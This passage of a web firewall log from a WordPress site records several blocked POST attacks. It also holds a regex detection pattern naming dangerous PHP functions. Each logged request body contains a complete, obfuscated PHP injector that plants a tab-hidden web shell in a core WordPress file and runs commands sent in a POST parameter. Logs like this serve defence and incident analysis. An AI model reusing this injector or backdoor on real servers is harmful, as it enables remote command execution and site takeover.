engine6%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine7%2529%2529%2520%257B%2520%2524pset_tkn%2520%253D%2520%2524token_parser_engine5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_tkn%2529%2520%257B%2520%2524marker_dchunk%2520%253D%2520%2524token_parser_engine6%2528%2524pset_tkn%2529%253B%2520%2524token_parser_engine7%2528%2524pset_tkn%2529%253B%2520print%2520%2524marker_dchunk%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:5296\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI04vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\nWN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/XSalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524token_parser_engine6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65am%255Cx5F%255Cx67e%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524token_parser_engine1%2520%253D%2520%2522s%255Cx79%255Cx73%255Cx74em%2522%253B%2520%2524system_core%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524token_parser_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524token_parser_engine5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524token_parser_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520%2524token_parser_engine4%2520%253D%2520%2522passt%255Cx68r%255Cx75%2522%253B%2520%2524token_parser_engine7%2520%253D%2520%2522pc%255Cx6Cose%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%2529%2520%257B%2520function%2520task_processor%2528%2524ptr%2520%252C%2520%2524pset%2529%2520%257B%2520%2524tkn%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524ptr%2529%2520as%2520%2524char%2529%257B%2520%2524tkn.%253Dchr%2528ord%2528%2524char%2529%255E%2524pset%2529%253B%2520%257D%2520return%2520%2524tkn%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524system_core%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520task_processor%2528%2524symbol%252C%252050%2529%253B%2520if%2520%2528function_exists%2528%2524token_parser_engine1%2529%2529%2520%257B%2520%2524token_parser_engine1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine2%2529%2529%2520%257B%2520print%2520%2524token_parser_engine2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine3%2529%2529%2520%257B%2520%2524token_parser_engine3%2528%2524symbol%252C%2520%2524ent_ptr%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_ptr%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine4%2529%2529%2520%257B%2520%2524token_parser_engine4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine5%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine6%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine7%2529%2529%2520%257B%2520%2524pset_tkn%2520%253D%2520%2524token_parser_engine5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_tkn%2529%2520%257B%2520%2524marker_dchunk%2520%253D%2520%2524token_parser_engine6%2528%2524pset_tkn%2529%253B%2520%2524token_parser_engine7%2528%2524pset_tkn%2529%253B%2520print%2520%2524marker_dchunk%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:43:25","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","60秒以内累计超过6次以上非法请求,封锁1620秒","POST \/ HTTP\/1.1\ncontent-length:5296\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI04vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\nWN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/XSalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524token_parser_engine6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65am%255Cx5F%255Cx67e%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524token_parser_engine1%2520%253D%2520%2522s%255Cx79%255Cx73%255Cx74em%2522%253B%2520%2524system_core%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524token_parser_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524token_parser_engine5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524token_parser_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520%2524token_parser_engine4%2520%253D%2520%2522passt%255Cx68r%255Cx75%2522%253B%2520%2524token_parser_engine7%2520%253D%2520%2522pc%255Cx6Cose%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%2529%2520%257B%2520function%2520task_processor%2528%2524ptr%2520%252C%2520%2524pset%2529%2520%257B%2520%2524tkn%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524ptr%2529%2520as%2520%2524char%2529%257B%2520%2524tkn.%253Dchr%2528ord%2528%2524char%2529%255E%2524pset%2529%253B%2520%257D%2520return%2520%2524tkn%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524system_core%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520task_processor%2528%2524symbol%252C%252050%2529%253B%2520if%2520%2528function_exists%2528%2524token_parser_engine1%2529%2529%2520%257B%2520%2524token_parser_engine1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine2%2529%2529%2520%257B%2520print%2520%2524token_parser_engine2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine3%2529%2529%2520%257B%2520%2524token_parser_engine3%2528%2524symbol%252C%2520%2524ent_ptr%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_ptr%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine4%2529%2529%2520%257B%2520%2524token_parser_engine4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine5%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine6%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine7%2529%2529%2520%257B%2520%2524pset_tkn%2520%253D%2520%2524token_parser_engine5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_tkn%2529%2520%257B%2520%2524marker_dchunk%2520%253D%2520%2524token_parser_engine6%2528%2524pset_tkn%2529%253B%2520%2524token_parser_engine7%2528%2524pset_tkn%2529%253B%2520print%2520%2524marker_dchunk%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:45:21","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/XSalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524token_parser_engine6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65am%255Cx5F%255Cx67e%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524token_parser_engine1%2520%253D%2520%2522s%255Cx79%255Cx73%255Cx74em%2522%253B%2520%2524system_core%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524token_parser_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524token_parser_engine5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524token_parser_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520%2524token_parser_engine4%2520%253D%2520%2522passt%255Cx68r%255Cx75%2522%253B%2520%2524token_parser_engine7%2520%253D%2520%2522pc%255Cx6Cose%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%2529%2520%257B%2520function%2520task_processor%2528%2524ptr%2520%252C%2520%2524pset%2529%2520%257B%2520%2524tkn%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524ptr%2529%2520as%2520%2524char%2529%257B%2520%2524tkn.%253Dchr%2528ord%2528%2524char%2529%255E%2524pset%2529%253B%2520%257D%2520return%2520%2524tkn%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524system_core%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520task_processor%2528%2524symbol%252C%252050%2529%253B%2520if%2520%2528function_exists%2528%2524token_parser_engine1%2529%2529%2520%257B%2520%2524token_parser_engine1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine2%2529%2529%2520%257B%2520print%2520%2524token_parser_engine2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine3%2529%2529%2520%257B%2520%2524token_parser_engine3%2528%2524symbol%252C%2520%2524ent_ptr%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_ptr%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine4%2529%2529%2520%257B%2520%2524token_parser_engine4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine5%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine6%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine7%2529%2529%2520%257B%2520%2524pset_tkn%2520%253D%2520%2524token_parser_engine5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_tkn%2529%2520%257B%2520%2524marker_dchunk%2520%253D%2520%2524token_parser_engine6%2528%2524pset_tkn%2529%253B%2520%2524token_parser_engine7%2528%2524pset_tkn%2529%253B%2520print%2520%2524marker_dchunk%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:5296\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD3pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nCw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/XSalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524token_parser_engine6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65am%255Cx5F%255Cx67e%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524token_parser_engine1%2520%253D%2520%2522s%255Cx79%255Cx73%255Cx74em%2522%253B%2520%2524system_core%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524token_parser_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524token_parser_engine5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524token_parser_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520%2524token_parser_engine4%2520%253D%2520%2522passt%255Cx68r%255Cx75%2522%253B%2520%2524token_parser_engine7%2520%253D%2520%2522pc%255Cx6Cose%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%2529%2520%257B%2520function%2520task_processor%2528%2524ptr%2520%252C%2520%2524pset%2529%2520%257B%2520%2524tkn%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524ptr%2529%2520as%2520%2524char%2529%257B%2520%2524tkn.%253Dchr%2528ord%2528%2524char%2529%255E%2524pset%2529%253B%2520%257D%2520return%2520%2524tkn%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524system_core%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520task_processor%2528%2524symbol%252C%252050%2529%253B%2520if%2520%2528function_exists%2528%2524token_parser_engine1%2529%2529%2520%257B%2520%2524token_parser_engine1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine2%2529%2529%2520%257B%2520print%2520%2524token_parser_engine2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine3%2529%2529%2520%257B%2520%2524token_parser_engine3%2528%2524symbol%252C%2520%2524ent_ptr%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_ptr%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine4%2529%2529%2520%257B%2520%2524token_parser_engine4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine5%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine6%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine7%2529%2529%2520%257B%2520%2524pset_tkn%2520%253D%2520%2524token_parser_engine5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_tkn%2529%2520%257B%2520%2524marker_dchunk%2520%253D%2520%2524token_parser_engine6%2528%2524pset_tkn%2529%253B%2520%2524token_parser_engine7%2528%2524pset_tkn%2529%253B%2520print%2520%2524marker_dchunk%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:45:28","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/XSalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524token_parser_engine6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65am%255Cx5F%255Cx67e%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524token_parser_engine1%2520%253D%2520%2522s%255Cx79%255Cx73%255Cx74em%2522%253B%2520%2524system_core%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524token_parser_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524token_parser_engine5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524token_parser_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520%2524token_parser_engine4%2520%253D%2520%2522passt%255Cx68r%255Cx75%2522%253B%2520%2524token_parser_engine7%2520%253D%2520%2522pc%255Cx6Cose%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%2529%2520%257B%2520function%2520task_processor%2528%2524ptr%2520%252C%2520%2524pset%2529%2520%257B%2520%2524tkn%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524ptr%2529%2520as%2520%2524char%2529%257B%2520%2524tkn.%253Dchr%2528ord%2528%2524char%2529%255E%2524pset%2529%253B%2520%257D%2520return%2520%2524tkn%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524system_core%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520task_processor%2528%2524symbol%252C%252050%2529%253B%2520if%2520%2528function_exists%2528%2524token_parser_engine1%2529%2529%2520%257B%2520%2524token_parser_engine1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine2%2529%2529%2520%257B%2520print%2520%2524token_parser_engine2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine3%2529%2529%2520%257B%2520%2524token_parser_engine3%2528%2524symbol%252C%2520%2524ent_ptr%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_ptr%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine4%2529%2529%2520%257B%2520%2524token_parser_engine4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine5%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine6%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine7%2529%2529%2520%257B%2520%2524pset_tkn%2520%253D%2520%2524token_parser_engine5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_tkn%2529%2520%257B%2520%2524marker_dchunk%2520%253D%2520%2524token_parser_engine6%2528%2524pset_tkn%2529%253B%2520%2524token_parser_engine7%2528%2524pset_tkn%2529%253B%2520print%2520%2524marker_dchunk%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20